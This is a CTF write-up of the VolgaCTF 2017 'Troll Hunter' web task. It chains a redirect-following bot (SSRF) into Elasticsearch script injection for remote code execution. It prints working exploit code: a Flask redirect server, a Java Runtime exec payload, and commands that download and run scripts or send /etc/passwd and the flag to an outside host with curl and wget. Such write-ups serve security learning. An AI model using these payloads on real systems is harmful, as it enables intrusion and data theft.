# VolgaCTF Quals 2017 -- Troll Hunter**Category**: Web
**Description**:> Trolls are everywhere. Fight with us! > troll-hunter.quals.2017.volgactf.ru:9494
# Writeup> disclaimer: I was too slow and lazy to do some screenshots or snippets of the site-sources, so turn your imagination on and try to imagine the missing frontend.
## The Entry Point
Following provided link we could see a website created to help the world to fight against internet trolles.
After a while, clicking on the inputs and observing the requests in Burp we find 2 entry points to the underlying API:- quite strange way to get troll information using request to some kind of DB- input form that follows submitted IP and do some kind of checks
## Find The Troll
All information about known trolls were retrieved using links like: 
`http://troll-hunter.quals.2017.volgactf.ru:9494/show?id=q=_id:1`
Visiting the link directly we could see the HTML-card with troll info and some interesting snippet of the code that was commented out:```html
```
After some fuzzing we figured out that:- We could find a troll using any paramter (**ip**, **name**, **img**, **description** and hidden **_id**)- Requests which could not find anything returns **"Problem with Connection"**- We could use multiple paramters in query string, like 
  ```http://troll-hunter.quals.2017.volgactf.ru:9494/show?id=q=img:*troll*%20name:Anonymous```- We could use wildcards like `/show?id=q=fo*` and keywords **sort** and **from**- We could not retrieve anything useful from DB (except trolls that we've already seen)
Using that info we've found out that the actual backend proxies our request to the ElasticSearch. `/show?id=` param is URI decoded and used as a query to [search uri](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-uri-request.html)
So we've had a full control over the query to the specific index of the ElasticSearch but couldn't do anything interesting enough.
*(Writing that text now I think we could try to exploit the target vuln using that functionality, but I can't check it, so let's follow our path)*
## Report Them All!
The second entry point was the form which reports given IP of the troll to the site admins.
Obviously we want to check will the provided IP be visited or just stored, so feed the bot with our public IP and wait for vivstors:
```bashyalegko@isc:~$ nc -lkvvv 4041Listening on [0.0.0.0] (family 0, port 4041)Connection from [185.143.173.223] port 4041 [tcp/*] accepted (family 2, sport 48358)GET / HTTP/1.1Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3Accept: */*User-Agent: RubyHost: 92.63.71.187:4041```
Aha! It's alive!
So after a bit of tries we got that:- The bot ignores URI scheme, path and params and uses only provided host and port (all auth parts of URI are also ignored) to do `GET /` request- If we answer `200 OK` bot says *"Ok. We'll check this. Thank you!"*, if we send some `4xx` or `5xx` error bot says *"Sorry, we can't check this ip. Something wrong"*- **Bot follow redirects!** And morevover it uses provided location as is, so we have full control over request path and query string
## Knock-Knock, Elastic, R U There?
Sending bot to the `http://localhost:9200/_cat/indices?v` we make sure that we can acess elastic in that way, but we cant get any info except **"OK"** or **"Not OK"**.
*Oh, no! Is it error-based blind elasticsearch injection? D:*
At that moment we got much more access to the elastic REST API, so we took a closer look to [its docs](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-body.html) and found the following:> The body content can also be passed as a REST parameter named source.
So we could send the request body via query argument `source` like:```    Location http://localhost:9200/_search?source={"query": {"match_all": { } } }```
Time to try quite interesting field `script_fields`:```    OK -- GET /_search?source={"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":"1+1"}}}    OK -- GET /_search?source={"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":"(new Date()).getTime()"}}}    FAIL -- GET /_search?source={"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":"import java.net.*"}}}    ... Thousands of fails skipped ...    OK -- GET /_search?source={"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":"l = (new Date()).getTime(); while((new Date()).getTime()-10000<l){}"}}}```
That way we have some kind of java-like language (groovy?) and possible RCE, so we wrote simple webserver and did fuzzing a lot:```pythonfrom flask import Flask, requestfrom flask import Responseimport requestsapp = Flask(__name__)
url = ""lock = False
@app.route("/check/<path:path>")def check(path):    global url, lock    if lock:        return "Already in process", 400    try:        lock = True        url = 'http://127.0.0.1:9200/'+ path +'?' + request.query_string.decode()        r = requests.post("http://troll-hunter.quals.2017.volgactf.ru:9494/checkip", data={"ip":"http://sibears.ru:4042"})        lock = False        return r.text, r.status_code    except Exception as e:        lock = False        return str(e), 500
if __name__ == "__main__":    app.run(host='0.0.0.0', port=4042, threaded=True)```
## Run My Damn Code
Using that flask webserver and the little helper:```python search = lambda p: requests.get("http://sibears.ru:4042/check/_search", params={"source": json.dumps(p)}).textexec_cmd = lambda cmd: search({"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":cmd}}})```
We tried tons of code until our teammate won't ask us had we tried to get java Runtime class as it's done in android hacks:```javawindow.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);```
After a while we adapted that solution for elastic:```javajava.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("%s").getText()```
And get RCE!```pythonsearch = lambda p: requests.get("http://sibears.ru:4042/check/_search", params={"source": json.dumps(p)}).text def exec_sh(cmd):    payload = {        "size":1,        "script_fields": {            "lol": {                "script":                     '''java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("%s").getText()''' % cmd                    }            }    }    search(payload)```
## I Dare You, I Double Dare I'll Pwn You
Do you remember that we have blind shell? 
Surely we tried to run reverse-tcp and http shells but we've failed (probably it's possible but we were quite tired and angry) so all we could do - send results via curl:```pythonexec_sh('curl --upload-file /etc/passwd sibears.ru:4042')```
The worst thing was that we can't run (mb just cos we hate java :o)```javajava.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(new String[]{ "/bin/sh", "-c", "<cmd>" }).getText()```
That way we have no pipes, command substitutions and so on. Thereby we decided to do it in hard way.
Improve our web server:```pythonfrom flask import Flask, requestfrom flask import Responseimport requestsapp = Flask(__name__)
url = ""lock = False
@app.route("/print", methods=['GET', 'POST', 'PUT'])def print_1():    print("FILE!!!!!\n")    print(request.stream.read().decode('base64'))    print("FILE!!!!!\n")    return "kek"
@app.route("/save/<path:path>", methods=['POST', 'PUT'])def saas(path):    with open(path, 'wb') as f:        f.write(request.stream.read().decode('base64'))    return "lol"
@app.route("/cmd")def cmd1():    with open('cmd.txt', 'r') as f:        s = f.read()    return s
@app.route("/")def hello():    resp = Response('privet, bot')    resp.headers['Location'] = url    return resp, 302
@app.route("/check/<path:path>")def check(path):    global url, lock    if lock:        return "Already in process", 400    try:        lock = True        url = 'http://127.0.0.1:9200/'+ path +'?' + request.query_string.decode()        r = requests.post("http://troll-hunter.quals.2017.volgactf.ru:9494/checkip", data={"ip":"http://92.63.71.187:5000"})        lock = False        return r.text, r.status_code    except Exception as e:        lock = False        return str(e), 500
if __name__ == "__main__":    app.run(host='0.0.0.0', port=4042, threaded=True)```
And now execute command as following:```pythonecho 'cmd' > cmd.txtexec_sh("wget -O /tmp/asdqwe sibears.ru:4042/cmd"); exec_sh('bash /tmp/asdqwe')```
After fucking hours of looking for flag in the Share Point the first thing we've done - run the find command:```bash find / -name "*flag*" | base64 | curl -d @- sibears.ru:4042/print```
Which gives us flag location "/flag":```bashcat /flag | base64 | curl -d @- sibears.ru:4042/print```
Flag: `VolgaCTF{troll_is_dead_now_we_win_the_battle}`
## P.S.
Ofc our solution isn't optimal but it reflects our way to get the flag, so I believe that it can be useful.
If you are sure that you can do it faster, we steal [app sources](./task) just btw, so you can try to pwn it by yourself.